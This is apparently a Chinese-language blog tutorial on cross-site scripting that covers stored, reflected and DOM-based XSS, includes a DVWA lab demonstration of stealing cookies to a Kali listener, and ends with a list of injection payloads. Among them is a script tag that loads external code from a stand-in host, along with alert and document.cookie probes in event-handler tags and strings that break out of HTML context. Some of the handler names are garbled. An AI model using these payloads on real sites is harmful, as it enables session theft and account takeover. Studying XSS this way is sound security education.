XSS详解

XSS详解

参考文章:XSS(跨站脚本攻击)详解 - 墨鱼菜鸡 - 博客园 (cnblogs.com)

简介

​ XSS,即跨站脚本攻击,英文全称Cross Site Scripting,为了与层叠样式表CSS相区别,才规定跨站脚本的攻击缩写为XSS。

​ XSS往往使恶意攻击者往Web页面插入恶意Script代码,当用户浏览该页面时,嵌入Web里的Script代码才会被执行,从而达到恶意攻击的目的。XSS攻击往往是针对用户层面的。

​ XSS分为存储型、反射性、DOM型XSS

存储型XSS

XSS详解

​ 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面时触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。

​ 攻击流程:

  1. 假如A拥有一个Web站点,该站点允许用户发布信息,浏览已发布的信息。

  2. B检测到A的站点存在存储型XSS漏洞。

  3. B在A的网站上发布一个带有恶意脚本的信息,该信息存储在了A的服务器上,然后吸引其他用户来点击该站点。

  4. A或者是其他人如C在浏览该站点之后,A的恶意脚本就会执行。

  5. A的恶意脚本执行后,A就可以对该用户C发起XSS攻击。

反射型XSS

XSS详解

​ 反射型XSS是非持久化的,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户cookie信息的。

​ 攻击过程:

  1. 受害者C经常浏览某个网站,且此网站为A所有。而A的站点需要C使用用户名/密码进行登录,并存储了A的敏感信息。

  2. B发现发现A的站点存在反射型漏洞

  3. B利用A网站的反射型XSS漏洞编写一个exp,做成链接的形式,并利用各种手段引诱使C点击

  4. C在登录到A的站点后,浏览了B的恶意链接

  5. 嵌入到恶意链接中的恶意脚本在C的浏览器中执行,此脚本盗窃敏感信息(cookie,账号信息等)。在C完全不知情的情况下将这些信息发给B

  6. B利用获取到的cookie就可以以C的身份登录到A的站点。

DOM型XSS

​ DOM型XSS,不经过后端,基于文档对象模型(Document Object Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS

​ 可能触发DOM型XSS的属性


document.referer
window.name
location
innerHTML
document.write
......

​ 利用createElement():

​ 先在kali监听1234端口

XSS详解

​ 然后在DVMA中输入

XSS详解

​ 在kali中可以看到cookie信息

XSS详解

​ 利用innnerHTML:

​ 用于篡改页面

XSS详解

XSS详解

XSS的攻击载荷

​ 以下所有标签的>都可以用//代替

​ <script>标签:最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入到脚本标记中。


<script>alert("hack")</script>         #弹出hack
<script>alert(/hack/)</script>         #弹出hack
<script>alert(1)</script>     #弹出1
<script>alert(document.cookie)</script>   #弹出cookie
<script src=http://xxx.com/xss.js></script>#引用外部xss

​ svg标签


<svg onl oad="alert(1)">
<svg onl oad="alert(1)"//

​ <img>标签


<img src=1 one rror=alert("hack")>
<img src=1 one rror=alert(document.cookie)>

​ <body>标签


<body onl oad=alert(1)>
<body onpageshow=alert(1)>

​ video标签


<video onl oadstart=alert(1 src="/media/hack-the-planet.mp4")>

​ style标签


<style onl oad=alert(1)></style>

​ 那么这些XSS可以插在哪里呢

  • 用户输入作为script标签内容

  • 用户输入作为HTML注释内容

  • 用户输入作为HTML标签的属性名

  • 用户输入作为HTML标签的属性值

  • 用户输入作为HTML标签的名字

  • 直接插入到CSS里


#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->

#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>

#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>

#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />

#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

 

上一篇:MOV格式视频转MP4


下一篇:QT——设计文件的和控制类的关联问题